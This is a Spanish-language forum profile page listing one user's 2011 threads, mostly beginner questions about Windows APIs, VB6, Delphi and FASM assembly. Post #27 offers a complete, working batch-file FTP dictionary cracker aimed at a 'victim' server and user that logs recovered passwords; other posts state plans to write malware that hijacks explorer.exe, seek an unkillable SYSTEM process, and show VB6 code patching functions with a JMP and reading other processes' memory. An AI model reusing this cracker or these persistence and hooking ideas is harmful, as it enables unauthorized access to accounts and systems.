Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - AlxSpy

#1
al encontrar algunas apis he encontrado algunas palabras y temas que desconocia o no sabia para que eran por ejemplo no sabia lo de memoria virtual hasta que hace 3 años por casualidad encontre un documento relacionado con asm y apis (mencionaba sobre memoria virtual) y recien me entere, DC HWND ni sabia, y asi cada ves que me encuentro con algo que no se tengo que ir a google a buscar cosa por cosa y de diferentes fuentes, esto es algo desordenado y peor es que no queda muy claro el tema buscando cosa por cosa.
tengo algunos libros sobre windows pero que son superficiales donde trata cosas como:
-¿que es un SO?
-archivos,apicaciones utilitarios,antivirus
-hardware
-panel de control,configuracion
-etc

lo que me interesaria saber es como trabaja windows pero por dentro a nivel de programacion, donde trate cosas como:
-como  maneja la memoria (primaria, cache)
-teorias sobre el subsistema de apis
-¿como se carga un programa o archivo en memoria? (creo que era algo de mapeado de archivo, o archivo proyectado en memoria)
-sobre las ventanas y sus dispositivos de contextos
-sockets
-y demas cosas que tenga windows relacionadas a apis

kizas sepan de algun libro o documentos que traten sobre esto (de preferencia windows XP)
#2
Foro Libre / colabora con un gif gracioso xD
31 Agosto 2011, 05:33 AM
mientras andaba buscando algo vi algunos gif muy chistosones que son usadas como firma o imagen personal de algunos users:

Click Image to Enlarge Image Hosting

Click Image to Enlarge Image Hosting

Click Image to Enlarge Image Hosting


Click Image to Enlarge Image Hosting


quiza tienen algun gif como estos y podrian colgarlo xD

*veo que las imagenes salen estaticas, no se como podria modificar para que se muevan los gif xP
#3
he visto algunos ejemplos de inyeccion de codigo hechos en lenguajes de alto nivel como C para interceptar algunas apis o para hacer que el programa victima haga algo para lo que no fue programado, y vi que usan "creo que usan" los codigo de las instrucciones de asm pero cuando se cargan en memoria por mencionar algunos esta el RET creo que su codigo en memoria era C3 o el JMP que tiene varios codigos pero el que vi era E9 , en esos documentos mencionaban algo de opcodes googleando di  con http://es.wikipedia.org/wiki/C%C3%B3digo_de_operaci%C3%B3n

segui googleando pero no encuentro mas de esos valores-codigos.
¿saben donde podria obtener una lista de esos valores-codigos y su sintaxis?
¿me recomiendan algun documento para aprender sobre este tema?
-lo busque como "lista de opcodes"
¿esta bien como lo estoy buscando?
#4
el api GetFileAttributes en un solo resultado devuelve todos los atributos de un archivo ejem : +s +r / +s +r +h o lo que sea, para comprobar cada atributo que devuelva en ese UNICO resultado lo hago de esta forma

if res = FILE_ATTRIBUTES_SYSTEM then atributos = atributos & "+S "
if res = FILE_ATTRIBUTES_HIDDEN then atributos = atributos & "+H"
if res = FILE_ATTRIBUTES_READONLY + FILE_SYSTEMHIDDEN then atributos = atributos & "+R +H "[


weno y asi se hace todo como en 30 lineas :S, ¿habra alguna manera mas simplificada de comprobar sin tanto codigo? ¿podrian dar alguna explicacion? o url donde expliquen.
#5
estoy haciendo un TREMENDO copy/paste de las apis de windows que hay en la web de la msdn para imprimirlo, muchas de las apis que estoy copiando ya son conocidas y funcionan bien en windows xp de 32 bits (por ejemplo): kernel32, user32 gdi32 etc,  ¿saben si estas apis funcionaran en los windows de 64 bits? o ¿tendran algun reemplazo en esos sistemas de 64 bits? , es que quiero que mis aplicaciones corran sin problemas en todos los windows y no se si deba buscar buscar funciones especificas para sistemas de 64 bits.

-ese numero 32 que va en las DLL :kernel32 user32 supongo  indica el tipo de sistema si es 32 o 64 bits ¿o no?

edicion:
¿que pasara con las aplicaciones ya hechas y que funcionan bien en windows xp de 32 bits si las ejecuto en windows xp de 64 bits? ¿fallaran?
#6
hola no se bien como llamar esto asi que puse ese titulo que es lo unico que se me ocurrio, para aclarar mas lo que quiero hacer expongo un caso:

tengo un codigo en vb6 que al ingresar un numero, este lo evalua si es menor a 500 muestra el mensaje "Fallido", sino muestra "Exito".

Código (vb) [Seleccionar]
Private Sub Command1_Click()
   Dim Numero As Long
   Numero = Val(Text1.Text)
   If Numero < 500 Then
       MsgBox "Fallido", vbCritical, ""
       Exit Sub
   End If
   MsgBox "Exito", vbInformation, ""
End Sub


quisiera detectar la ejecucion de esa rutina y de alguna manera interrumpirla y obtener la direccion donde se estaba realizando esa ejecucion para redireccionar la ejecucion y se salte ese If y el resultado sea siempre exito, en codigo seria asi:

Código (vb) [Seleccionar]
Private Sub Command1_Click()
   Dim Numero As Long
   Numero = Val(Text1.Text)
   MsgBox "Exito", vbInformation, ""
End Sub


weno este es solo un ejemplo para que quede claro lo que quiero hacer, porque en realidad quisiera aplicar esto para haer malwares que por ejemplo detengan una ejecucion y despues de un rato continue, o cambiar la ejecucion del explorer.exe para evitar que el usuario cree una carpeta o copie un archivo, y asi muchas cosas se me ocurren.
¿tendran algun enlace sobre el tema? o ¿que apis debo buscar?, lo que sea se los agradecere.
#7
en VB6 al escribir algo como:

suma=1+3+5

despues de pasar a la siguiente linea con enter, VB6 se encarga automaticamente de ordenar el codigo y lo anterior lo dejaria asi:

suma = 1 + 3 + 5

mientras q en delphi se queda igual.

o cuando quiero usar alguna propiedad de un objeto en VB6 por ejemplo escribo:

Form1.Cap

luego VB6 me muestra la lista de propiedades que coninciden con ese texto escrito "Cap" y nada mas pulso TAB y pues se completa la linea de codigo:

Form1.Caption

O si por ejem escribo una nombre  de una funcion en minusculas/mayusculas:

messAgebox

VB6 lo pone tal cual es:

MessageBox


no se si se pueda hacer algo asi en delphi 7, es decir quizas agregarle algun programa o configurar algo, he estado viendo las opciones del entorno que esta en ingles y no encuentro una solucion, o kizas sepan algun enlace de algun otro delphi mas moderno que traiga esas opciones para "ordenar codigo automatico" o no se como llamar a esto que hace VB6, pero que hace la escritura de codigo bastante facil, comoda y facilita la lectura del codigo.
#8
consiste en escribir una funcion de usuario publica con los parametros que tendria la funcion api, luego  sobreescribir el inicio de esa funcion con la instruccion en ensablador "jmp" (salto a una direccion) para saltar a una direccion que seria la direccion de la api que queremos llamar, luego al llamar a esa funcion de usuario ejecutariamos la api, ejemplo de como llamar a ShowWindow sin haberlo puesto en la sección Declaraciones:

en un form1: (abrir el notepad para ocultarlo y volverlo visble)

form1
Código (vb) [Seleccionar]
'form1
'agregar controles:
'1 command1
'1 command2

Option Explicit


Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long

Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long

Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)

Private Declare Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As Long, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long



Dim hModule As Long
Dim DirProc As Long
Dim DirMiFun As Long
Dim Codigo(1 To 20) As Byte
Dim Distancia As Long
Dim ViejaProte As Long

Const jmp = &HE9

Const PAGE_EXECUTE_READWRITE As Long = &H40


Private Sub Command1_Click()
   Dim hwnd As Long
   hwnd = FindWindow("notepad", vbNullString)
   If hwnd = 0 Then
       MsgBox "No se encontro el notepad", vbCritical, ""
       Exit Sub
   Else
       Call MostrarVentana(hwnd, 5)
   End If
End Sub

Private Sub Command2_Click()
   Dim hwnd As Long
   hwnd = FindWindow("notepad", vbNullString)
   If hwnd = 0 Then
       MsgBox "No se encontro el notepad", vbCritical, ""
       Exit Sub
   Else
       Call MostrarVentana(hwnd, 0)
   End If
End Sub

Private Sub Form_Load()
   hModule = GetModuleHandle("user32")
   DirProc = GetProcAddress(hModule, "ShowWindow")
   DirMiFun = ObtenerMiDir(AddressOf MostrarVentana)
   Distancia = DirProc - DirMiFun - Len(Distancia) - 1
   'intenta cambiar los atributos de esa zona de memoria para sobreescribirlo
   'si se sobreescribe sin cambiar los atributos la aplicacion se cerrara
   If VirtualProtect(ByVal DirMiFun, 1 + Len(Distancia), PAGE_EXECUTE_READWRITE, ViejaProte) <> 0 Then
       Codigo(1) = jmp
       Call CopyMemory(Codigo(2), Distancia, Len(Distancia))
       Call CopyMemory(ByVal DirMiFun, Codigo(1), 1 + Len(Distancia))
       MsgBox "Listo", vbInformation, ""
   Else
       MsgBox "No se pudo cambiar los atributos de la region de memoria: " & DirMiFun & " (MostrarVentana)", vbCritical, ""
   End If
   Command1.Caption = "notepad visible"
   Command2.Caption = "notepad oculto"
End Sub

Private Function ObtenerMiDir(FunAddress As Long) As Long
   ObtenerMiDir = FunAddress
End Function



module1.bas
Código (vb) [Seleccionar]
Option Explicit


Public Function MostrarVentana(ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
   'esto es nada mas para que tenga un sitio donde sobreescribir, por
   'seguridad sin que vaya afectar a otras instrucciones
   Dim algo As Boolean
   algo = True
   algo = False
End Function



edit:
para que funcione compilen el proyecto.
#9
en varios codigos he visto que al momento de llamar a una funcion los parametros se pasan de manera distinta que la de su declaracion, si un `parametros esta como byref al llamar lo pasan como byval:


Código (vb) [Seleccionar]
'en el parametro buffer esta sin nada (por ahi lei que si no se indica es ByRef por defecto)


Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long





Código (vb) [Seleccionar]
'pasa el parametro buffer como byval
Dim Buffer As String
Buffer = Space(5000)
Call ReadProcessMemory(hProcess, Direccion, ByVal Buffer, Len(Buffer), BytesLeidos)


otra api:

Código (vb) [Seleccionar]
'ambas apis son por valor
Private Declare Function FindWindow Lib "user32" _
   Alias "FindWindowA" ( _
       ByVal lpClassName As String, _
       ByVal lpWindowName As String) As Long


Código (vb) [Seleccionar]
'pasa el windowname - titulo sin nada (por defecto seria ByRef)
   Dim Titulo As String
   Titulo = "Google"
   Call FindWindow(vbNullString, Titulo)


weno al final cual es el que vale? el ByVal/ByRef indicado en la declaracion de funcion o el ByVal/ByRef usado al momento de llamar a esa funcion?
si pudieran explicarme mejor esto del ByVal/ByRef se los agradeceria .

me lei :
http://foro.elhacker.net/programacion_vb/memoria_en_vb-t114052.0.html
no me kedo muy claro.
#10
hola estoy practicando delphi (el entorno : delphi 7) y pues queria centrarme en el manejo de las apis de windows pero hay poquisima informacion sobre esto , no se si quiizas alguien conosca alguna web/documento donde las expongan (el prototipo algun ejemplo, como declararlas) algo asi como la web y programa "apiguide" de visual basic 6.0 que tiene ufff como 900 apis.
#11
en este foro vi codigos sobre como setear un proceso como critico, abrir un proceso SYSTEM, funcionan bien en windows XP, pero en el 7 no, habra alguna forma de hacer andar esos codes en windows 7?
#12
estoy iniciando en delphi y pues me puse a practicar tipos de datos y un par de apis , en una porcion del codigo que se encarga de buscar una ventana por su titulo tengo un problemilla:

un TButton, y 2 TEdit para el titulo a buscar y el otro para el HWND resultado.

procedure TForm1.Button3Click(Sender: TObject);
var
hwin :integer;
titulo :string;
begin
 titulo:= edit3.text;
 hwin:=FindWindow(nil,PAnsiChar(titulo));
 edit4.Text:=inttostr(hwin);   // aki sale la flecha
end;

end.


uso delphi7, miren al ejecutar con f9 ejecuta bien encontrando el titulo de la ventana q le indiquey me devuelve el HWND de la ventana en el edit, pero luego en el editor de codigo sale una flechita verde con un icono de "correcto" al lado de  la penultima linea:

edit4.Text:=inttostr(hwin)

y mi ventana se cuelga (no responde) , para poder  continuar voy al menu run/reset program y listo pero kisiera que deje de pasar esto, yo no he configurado nada y sale eso, y pasa que al kitar esa linea de codigo todo se ejecuta normal sin interrupcion, al ejecutar mi programa generado este se ejecuta normal y no se porque en el entorno delphi pasa eso , no se si la causa sea el codigo o el entorno, pero es muy molesto.
#13
tengo 3 particiones "D:\"   archivos, "H:\"  juegos, y la "C:\" esta està congelada y aqui esta el SO windows 7 de 32 bits, quiero cambiarlo por windows XP sp3, pero no tengo el disco de instalacion del windows 7 (lei que para poder quitar un SO es necesario el disco con que se instalo), del windows xp tengo un archivo .iso que baje del internet.
anteriormente he instalado este windows xp en maquinas virtuales y se mas o menos como se hace, pero el problemita es que no se como quitar el windows 7 que ya esta instalado, con estos datos que doy ¿podrian darme una orientacion de como quitar el el win7 e instalar el win xp, conservando intactas las otras particiciones?, ah y me dijeron que al apagar el pc de manera incorrecta (tirar el cable, pulsar el boto de apagado sin cerrar sesion) windows puede resultar dañado y para evita eso debe configurarse algo de "cerrar sesion de forma segura" o mas o menos asi para que no pase nada, ¿como se hace esto?.
#14
ASM / [DUDA]uso del mov en flat assembler
25 Junio 2011, 20:39 PM
hola hice mi primer code en FASM:

include 'c:\fasm\include\win32ax.inc'
.data
lpTextOk db 'notepad encontrado',0
lpTextError db 'no se encontró notepad',0
lpCaption db 'Mi Primer programa',0

lpClassName db 'notepad',0
lpWindowName db 0

NuevoTitulo db 'Modificando un caption',0

lpString db 'hello world',0
nCount dd 11
hWin dd ?
hdc dd ?

.code
start:
push 0               ;linea 19  original: push lpWindowName (no encuentra el notepad)
push lpClassName
call [FindWindowA]
mov [hWin],eax       ;linea 22  original: mov hwin,eax
cmp [hWin],0
jne encontrado
jmp noencontrado
.end start

encontrado:
push 64
push lpCaption
push lpTextOk
push 0
call [MessageBoxA]
push NuevoTitulo
push [hWin]
call [SetWindowTextA]
push [hWin]
call [GetDC]
mov [hdc],eax        ;linea 39  original: mov hdc,eax
push [nCount]
push lpString
push 25
push 25
push [hdc]
call [TextOutA]
push 1
push [hWin]
call [FlashWindow]
push 333
call [Sleep]
push 0
push [hWin]
call [FlashWindow]
push 333
call [Sleep]
push 1
push [hWin]
call [FlashWindow]
jmp salida
ret

noencontrado:
push 16
push lpCaption
push lpTextError
push 0
call [MessageBoxA]
jmp salida
ret

salida:
push 0
call [ExitProcess]
ret


la teoria del "mov destino,origen" dice que mueve info del origen al destino, y en FASM al poner la variable entre "[]" [variable] se refiere al valor que contiene supongo que al poner variable sin nada entonces se refiere a su direccion en memoria, en la linea 19 del codigo al principio puse "mov hWin,eax" lo entiendo de esta manera: "lo que valga eax muevelo a la direccion de hWin", pero me daba error (al igual que la linea 39), asi que le puse [hWin] y funciona , el uso del mov y de pasar las variables entre "[]" y sin nada no me queda muy claro ¿alguien me podria dar una mejor explicacion de esto?
#15
holas me gustarias aprender a fondo el lenguaje asm para win32 usando el flat assembler, lei un tutorial de E0N sobre un taller en flat assembler, pero quisiera avansar más principalmente aprender las intrucciones propias del micro (push mov, cmp, jmp , las de alto nivel no mucho: invoke) , en algunos codigos vi el uso de la instruccion invoke

"invoke Funcion Parametros..."

y tambien vi de esta forma:

push Paramtro1
Push Parametro2
Call [Funcion]


Esta segunda forma es la que me parece mas interesante para saber como funciona eso lo de la pila (antes no sabia nada sobre la pila), y saber las demas cosas que suceden en el micro al ejecutar tal instruccion.
¿sabran de algun tutorial en español de flat assembler ?(array, funciones apis, funciones de usuario, etc..)
-tambien quisiera que me recomienden algun libro sobre esto(si hubiera uno donde trate sobre flat assemble seria mejor).
gracias.

*una duda : ¿se pueden hacer DLL en asm(flat assembler)?
#16
hice un codigo para buscar datos en la memoria de un proceso, uso el OpenProcess y la constante PROCESS_ALL_ACCESS, lo he ejecutado con varios procesos y anda bien, ahora quise probarlo con el juego StarCraft, al ejecutar este juego me fijo en el taskmgr en la columna donde dice si es un proceso "SYSTEM" o "serivcio de red" o "usuario"  dice que es proceso "usuario" pero no puedo abrir el proceso.
#17
holas, estoy iniciandome en c++, ya llevo un tiempito practicando , quisiera empezar a practicar con las apis de windows, ya he usado varias apis en visual basic 6.0, en c++ veo que es mas complejo,  hay mas tipos de datos que se usan con las apis (en C++: HMODULE,FARPROC,HWND,SOCKET, LPVOID, en visual basic cualquier de estos seria un Long ), he buscado en google tipos de datos C++ pero solo salen los tipos de datos basicos (char,int,long,BYTE) ¿me recomendarian algun tutorial, web, documento o libro sobre el uso de apis en español? y si hubiera alguna explicacion sobre los tipos de datos que usan estas apis (HANDLE, LPVOID y demas).
gracias de antemano.
#18
como ponerlo en esa barra al ladito del reloj, y mostrar esos mensajes que salen cuando una aplicacion se oculta y guarda en esa barra.

Image Hosting
#19
quiero leer la memoria de algunos procesos activos uso OpenProcess y ReadProcessMemory para abrir el PID y leer, pero hay algunos que SI abren pero  al leer devuelven puros bytes nulos, y 1 o 2 q no devuelven nada, estaba leyendo un documento eso es porque estan protegidas la memoria de esos procesos con VirtualProtec y que esa api solo se usa desde el proceso que la llama , ¿que funcion api podria usar para que mi .exe cambie la proteccion de otro proceso y poder leer? ejem: notepad.exe
weno asi lo entendi el documento , sino please corrijanme.

-algo mas, ¿que otra api podria usar para calcular la memoria que esta ocupando un proceso?,por ahora uso el ReadProcessMemory para sumar todos los bytes leidos, pero hay algunos procesos que son muy pesados y los del sistema que no se pueden abrir ni leer y no se como calcularlos.
#20
estoy haciendo un code para buscar datos en la memoria de un proceso uso el readprocessmemory:

Código (vb) [Seleccionar]
Option Explicit

Dim hProcess As Long

Private Sub cmdBusqueda_Click()
   Dim Data As String, Buffer As String, Target As Long
   Dim TmpByte As Byte, TmpInteger As Integer, TmpLong As Long, TmpString As String
   Dim Pos As Long, Address As Long, FirstByte As String
   Dim Fin As Boolean, BytesLeidos As Long, BytesRead As Long
   Dim TotalBytes As Long
   Fin = False
   Address = 0
   If optByte.Value = True Then
       TmpByte = Val(txtData.Text)
       Data = Space(1)
       Call CopyMemory(ByVal Data, TmpByte, 1)
   ElseIf optInteger.Value = True Then
       TmpInteger = Val(txtData.Text)
       Data = Space(2)
       Call CopyMemory(ByVal Data, TmpInteger, 2)
   ElseIf optLong.Value = True Then
       TmpLong = Val(txtData.Text)
       Data = Space(4)
       Call CopyMemory(ByVal Data, TmpLong, 4)
   Else   'String
       Data = txtData.Text
       If optStringUnicode.Value = True Then
           Data = Unicode(Data)
       End If
   End If
   Dim Tmp As String, X As Integer, PID As Long
   X = lstProcesos.ListIndex
   If X = -1 Then Exit Sub
   Tmp = lstProcesos.List(X)
   Pos = InStr(1, Tmp, "*")
   If Pos > 0 Then Tmp = Mid(Tmp, Pos + 1)
   PID = Val(Tmp)
   hProcess = OpenProcess(PROCESS_ALL_ACCESS, False, PID)
   If hProcess = 0 Then
       MsgBox "No se pudo abrir el proceso", vbCritical, ""
       Exit Sub
   End If
   lstDirecciones.Clear
   FirstByte = Mid(Data, 1, 1)
   While (Fin = False)
       Buffer = Space(5000)
       Call ReadProcessMemory(hProcess, Address, Buffer, Len(Buffer), BytesLeidos)
       DoEvents
       If BytesLeidos > 0 Then
           Buffer = Left(Buffer, BytesLeidos)
           Pos = InStr(1, Buffer, FirstByte)
           If Pos > 0 Then
               Call ReadProcessMemory(hProcess, Address + Pos - 1, Buffer, Len(Buffer), BytesRead)
               If BytesRead > 0 Then Buffer = Left(Buffer, BytesRead)
               If Buffer = Data Then
                   Target = Target + Pos - 1 'dato encontrado
                   lstDirecciones.AddItem Target
                   Address = Target + Len(Data)
               Else
                   Address = Address + 1
               End If
           Else
               Address = Address + BytesLeidos
           End If
       End If
       TotalBytes = TotalBytes + BytesLeidos
       If TotalBytes >= 150000000 Then Fin = True
       If BytesLeidos < 5000 Then Fin = True
   Wend

   Call CloseHandle(hProcess)
   Me.Caption = TotalBytes
End Sub

Private Sub cmdRefrescar_Click()
   Dim Proceso As String, pShot As PROCESSENTRY32
   Dim ProcessID As Long, P As Long
   Dim R32Next As Long, hHelp32 As Long
   lstProcesos.Clear
   hHelp32 = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
   pShot.dwSize = Len(pShot)
   R32Next = Process32First(hHelp32, pShot)
   While (R32Next <> 0)
       Proceso = pShot.szExeFile
       P = InStr(1, Proceso, Chr(0))
       If P > 0 Then Proceso = Left(Proceso, P - 1)
       ProcessID = pShot.th32ProcessID
       lstProcesos.AddItem Proceso & Space(5) & "*" & ProcessID
       R32Next = Process32Next(hHelp32, pShot)
   Wend
   Call CloseHandle(hHelp32)
End Sub

Private Sub Form_Load()
   Call cmdRefrescar_Click
End Sub


el codigo abre el proceso seleccionado normalmente pero al ejecutar el readprocessmemory , este no lee nada de memoria, al final del cmdBusqueda_Click agregue "me.caption = TotalBytes" (total de bytes leidos) para ver cuantos bytes lee pero siempre me da "0", intente usar el string buffer con byval y sin byval pero igual no lee:

Código (vb) [Seleccionar]
Call ReadProcessMemory(hProcess, Address, ByVal Buffer, Len(Buffer), BytesLeidos)

Código (vb) [Seleccionar]
Call ReadProcessMemory(hProcess, Address, Buffer, Len(Buffer), BytesLeidos)


en google encontre esta declaracion del api:

Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, ByVal lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long

tambien encontre otra casi  igual excepto que el parametro lpBuffer no tiene byval, he intentado con ambas formas pero no da resultado.
#21
tengo que hacer una dll estandar usando el prog. vbadvanced, y necesito meter las apis en una libreria .tlb para llamarlas desde esa dll estandar hecha en VB 6.0.
#22
en mi maq. virtual winXP intente esto: me fije en el registro de windows las claves de algunos procesos de sistema y servicios :"spool.exe" , e hice una copia de esas claves cambiandole nada mas por la ruta de mi programa, y reiniciaba mi maquina virtual, al iniciar el SO tardaba mas de lo normal, pero mi programa se ejecutaba solo y aparecia como "SYSTEM" en el taskmgr pero se podia cerrar facilmente como cualkier otro, ademas se cerraba  solo a los 30 segundos, volvia a ejecutarlo usando el cmd: "NET START MY_EXE", y revivia pero volvia a cerrarse a los 30 seg.

sera posible que un programa sea "interminable",puramente un .exe sin tener que crear dll, que no se pueda cerrar ni con el taskmgr ni con el taskkill?,
#23
necesito leer  los pixeles de la ventana de un game que ocupa toda la pantalla, intente usar GetPixel al Device context de la ventana pero no funciono (creo que porque el game refresca a cada rato la pantalla) , se me ocurrio usar keybd_event + el codigo de PRINT_SCREEN (tecla de capturar pantalla), luego pasar la captura de pantalla a un picture: picture1.picture = clipboard.getdata, hasta aqui todo bien, ahora intente usar getpixel al picture1.hdc para leer los pixeles y funciona solo cuando la ventana de mi programa este activa y el game minimizado, ahora lo que necesito es que mi programa lea los pixeles mientras este activa la ventana del game y no se puede. ¿alguna idea de como hacer esto?

el game es gunbound, los pixeles que quiero leer son el angulo y el viento.
#24
hola quisiera dibujar una circulo en el que cada pixel del circulo tenga un color distinto, para eso lo que hago primero es dibujar un circulo con un color blanco y radio 25 con AngleArc en un form, luego una funcion se encarga de buscar los pixeles blancos que componen ese circulo y luego lo que hace es guardar las coordenadas de esos pixeles blancos en un archivo, ahora otro programa carga las coordenadas de ese fichero y pues pinta los pixeles especificados por esas coordenadas en una ventana que le indique (cada pixel con un color diferente), el problema es que si quiero cambiar el tamaño del circulo (radio), pues tengo que guardar un archivo con las coordenadas por cada nuevo circulo que haga,weno y entre otras cosas que necesito hacer tambien esta recorrer y leer los pixeles de una ventana dando vueltas (en circulos).
¿sabran alguna idea mas o menos o formula para no depender de este metodo?,
#25
hola kisiera dibujar circulos con un determinado color en una ventana externa, encontre el api ArcAngle, pero esta api no especifica en sus parametrtos el color sino que usa el color que tenga predefinido esa ventana (negro), lei que con createpen se cambia el color y pincel por defecto de la ventana , pero no quisiera cambiar el pincel por defecto que tiene la ventana , ¿sabran alguna api que haga lo mismo que ArcAngle, es decir circulos y especifique el color sin tener que cambiar el pincel predefinido?

-quisiera dibujar solo la linea del circulo sin rellenar el centro, es decir si hubiera una imagen o color en la ventana, el circulo no deberia tapar a esa imagen o color.
#26
Holas tengo unas imagenes como estas:






tienen un punto azul en un lugar,debo hallar el angulo (0 - 360) en que se encuentran los puntos azules,en la primera parece mas o menos 280 grados, en la segunda imagen se puede sacar que el angulo es 90 con solo mirar,  por ahora hice un codigo que usa el api get pixel para buscar el punto azul y me devuelven el x,y donde se encuentra el punto, ¿que funcion o formula podria usar para obtener el angulo a partir de esas coordenadas en VB 6.0?
#27
Scripting / [BATCH] Crackeador de FTP en .bat
6 Abril 2011, 01:53 AM
hola hice este crackeador 100% en .bat , ya lo probe y funciona bien, algunas imagenes:

menu principal
http://www.imagecross.com/11/image-hosting-view-64.php?id=1123Menu.jpg

ingreso de datos
http://www.imagecross.com/11/image-hosting-view-64.php?id=4315Inicio.jpg

clave descifrada
http://www.imagecross.com/11/image-hosting-view-64.php?id=3898Password.jpg

ahora el codigo


@ echo off
title Crackeador - FTP :::::::: AlxSpy
color 0a
set cont=0
set num=1
md C:\Crackeador-FTP\
md C:\Crackeador-FTP\Login
md C:\Crackeador-FTP\Residuo
md C:\Crackeador-FTP\Password
del /q C:\Crackeador-FTP\Login
del /q C:\Crackeador-FTP\Residuo
:Menu
set opcion=4
cls
echo.
echo                        Menu Principal
echo.
echo.
echo                        Opciones:
echo.
echo.
echo                       1-Leeme, instrucciones
echo                       2-Iniciar crackeador
echo                       3-Salir
echo.
echo ___________________________________________________________________
set /p opcion=
if "%opcion%" == "1" goto Manual
if "%opcion%" == "2" goto Inicio
if "%opcion%" == "3" (goto Salida) else goto menu

:Manual
cls
echo.
echo                       Leeme, instrucciones
echo.
echo.
echo              -Para hacer el Diccionario-listword, agrega
echo               tu lista de claves en tu fichero de texto:
echo               ".txt", debes agregar un salto de linea o
echo               [ENTER] al inicio de la lista y al final de
echo               la lista porque elprograma tomara la lista
echo               a partir de segunda linea hasta la penultima.
echo              -El nombre del fichero puede o no contener
echo               espacios.
echo              -Para detener el programa debes cerrar la
echo               consola.
echo              -Todos los ficheros que usa el programa estan
echo               en "C:\Crackeador-FTP", no quedara
echo               ningun fichero residuo en tus directorios
echo               principales, solo debes borrar:
echo               "C:\Crackeador-FTP" al terminar el prgrama.
echo              -La clave-password descifrado sera mostrado
echo               en la consola y almacenado en:
echo               "C:\Crackeador-FTP\Password"
echo.
echo.
echo              Pulsa una tecla para volver al menu principal
pause>nul
goto Menu
:Inicio
cls
echo.
echo                      Iniciar Crackeador [Paso 1/2]
echo.
echo.
echo             Para cancelar y volver al menu principal pulsa "C"
echo.
echo ___________________________________________________________________
set /p host=Ingresa el servidor FTP victima:
if "%host%" == "c" goto Menu
if "%host%" == "C" goto Menu
echo.
echo ___________________________________________________________________
set /p user=Ingresa el usuario victima:
if "%user%" == "c" goto Menu
if "%user%" == "C" goto Menu
echo.
echo ___________________________________________________________________
set /p dic=Ruta completa del Diccionario:
if "%dic%" == "c" goto Menu
if "%dic%" == "C" goto Menu
if exist "%dic%" (goto Inicio2) else goto error1
:error1
cls
echo.
echo          Error, no se encontro el fichero:
echo          "%dic%"
echo.
echo.
echo          Pulsa una tecla para volver
pause>nul
goto Inicio
:Inicio2
set opcion=4
copy /y "%dic%" C:\Crackeador-FTP\Diccionario.txt
ren C:\Crackeador-FTP\Diccionario.txt lista.txt
ren C:\Crackeador-FTP\lista.txt Diccionario.txt
echo FIN>>C:\Crackeador-FTP\Diccionario.txt
cls
echo.
echo                      Iniciar Crackeador [Paso 2/2]
echo.
echo.
echo         Datos y diccionario listos
echo         ¿Desea iniciar el crackeador ahora?
echo.
echo         1-Si
echo         2-No, volver al paso anterior
echo         3-No, volver al menu principal
echo.
echo ___________________________________________________________________
set /p opcion=
if "%opcion%" == "1" goto proceso
if "%opcion%" == "2" goto Inicio
if "%opcion%" == "3" (goto Menu) else goto Inicio2
:Proceso
set /a cont=%cont%+%num%
for /f "skip=%cont% tokens=1" %%a in (C:\Crackeador-FTP\Diccionario.txt) do call :Pass "%%a"
:Pass
set Pass=%1
set Pass=%Pass:"=%
if "%Pass%" == "FIN" (goto Fin) else goto Screen
:Screen
del /q C:\Crackeador-FTP\Login\Login.txt
del /q C:\Crackeador-FTP\Residuo\Residuo.txt
cls
echo.
echo.
echo                        Probando Password %cont%...
echo.
echo %user%>>C:\Crackeador-FTP\Login\Login.txt
echo %Pass%>>C:\Crackeador-FTP\Login\Login.txt
echo bye>>C:\Crackeador-FTP\Login\Login.txt
ftp -s:C:\Crackeador-FTP\Login\Login.txt %host%>>C:\Crackeador-FTP\Residuo\Residuo.txt
if exist C:\Crackeador-FTP\Residuo\Residuo.txt (goto CheckResult) else goto error2
:error2
msg *msg Fallo el comando FTP
cls
echo.
echo.
echo                           Fallo el comando FTP
echo.
echo.
echo              Pulse una tecla para volver al menu principal
pause>nul
goto Menu
:CheckResult
for /f "skip=5 tokens=1" %%a in (C:\Crackeador-FTP\Residuo\Residuo.txt) do call :txt "%%a"
:txt
set txt=%1
set txt=%txt:"=%
if "%txt%" == "530" (goto proceso) else goto Password
:Password
msg *msg Password localizado
cls
echo.
echo.
echo                            Password localizado
echo.
echo.
echo                         Servidor victima: %host%
echo                         Usuario victima: %user%
echo                         Password victima: %Pass%
echo.
echo.
echo               Pulse una tecla para volver al menu principal
pause>nul
echo Servidor: %host% / Usuario: %user% / Clave: %Pass%>>C:\Crackeador-FTP\Password\UsuariosyClaves.txt
goto Reset
:Fin
msg *msg Fin de busqueda sin resultados
goto reset
:Reset
set cont=0
del /q C:\Crackeador-FTP\*.txt
del /q C:\Crackeador-FTP\Login\*.txt
del /q C:\Crackeador-FTP\Residuo\*.txt
goto Menu
:Salida
exit
#28
Desarrollo Web / ¿algun servidor ftp gratis?
4 Abril 2011, 17:58 PM
holas no se si alguien sabra de algun servidor ftp gratuito al que se pueda acceder mediante la consola de windows o cualquier otro programa cliente ftp? , anteriormente estaba registrado en ftp.geocities  y ftp.fortunecity pero uno esta offline y el otro falla y ni me deja registrarme de nuevo, llevo bastante rato buscando pero solo encuentros alojamiento web a los que solo se puede acceder por navegador de internet como megaupload , pero ninguno se puede acceder por consola.
#29
estoy buscando algunas apis que puedan obtener y cambiar la hora y fecha de:
